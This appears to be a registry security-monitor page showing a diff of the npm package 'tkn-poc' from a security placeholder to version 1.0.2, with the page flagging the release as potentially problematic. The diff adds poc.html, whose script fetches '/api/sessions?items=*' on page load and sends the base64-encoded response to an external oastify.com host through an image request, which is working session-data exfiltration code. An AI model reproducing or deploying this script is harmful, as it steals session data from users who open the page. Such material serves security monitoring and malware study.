tkn-poc 0.0.1-security → 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of tkn-poc might be problematic. Click here for more details.
- package/package.json +10 -5
- package/poc.html +23 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
2
|
+
"name": "tkn-poc",
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "testing",
|
|
5
|
+
"main": "poc.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "MIT"
|
|
11
|
+
}
|
package/poc.html
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="utf-8">
|
|
5
|
+
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
|
6
|
+
<title>testrt</title>
|
|
7
|
+
<meta name="description" content="">
|
|
8
|
+
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
9
|
+
<link rel="stylesheet" href="">
|
|
10
|
+
</head>
|
|
11
|
+
<body>
|
|
12
|
+
|
|
13
|
+
<script>
|
|
14
|
+
fetch('/api/sessions?items=*')
|
|
15
|
+
.then(response => {
|
|
16
|
+
return response.json();
|
|
17
|
+
}) .then(data => {
|
|
18
|
+
let image = new Image();
|
|
19
|
+
image.src = 'http://gk4knedk1c3dhwi6yvxwsi2xgomfa65uu.oastify.com/?' + btoa(JSON.stringify(data));
|
|
20
|
+
});
|
|
21
|
+
</script>
|
|
22
|
+
</body>
|
|
23
|
+
</html>
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=tkn-poc for more information.
|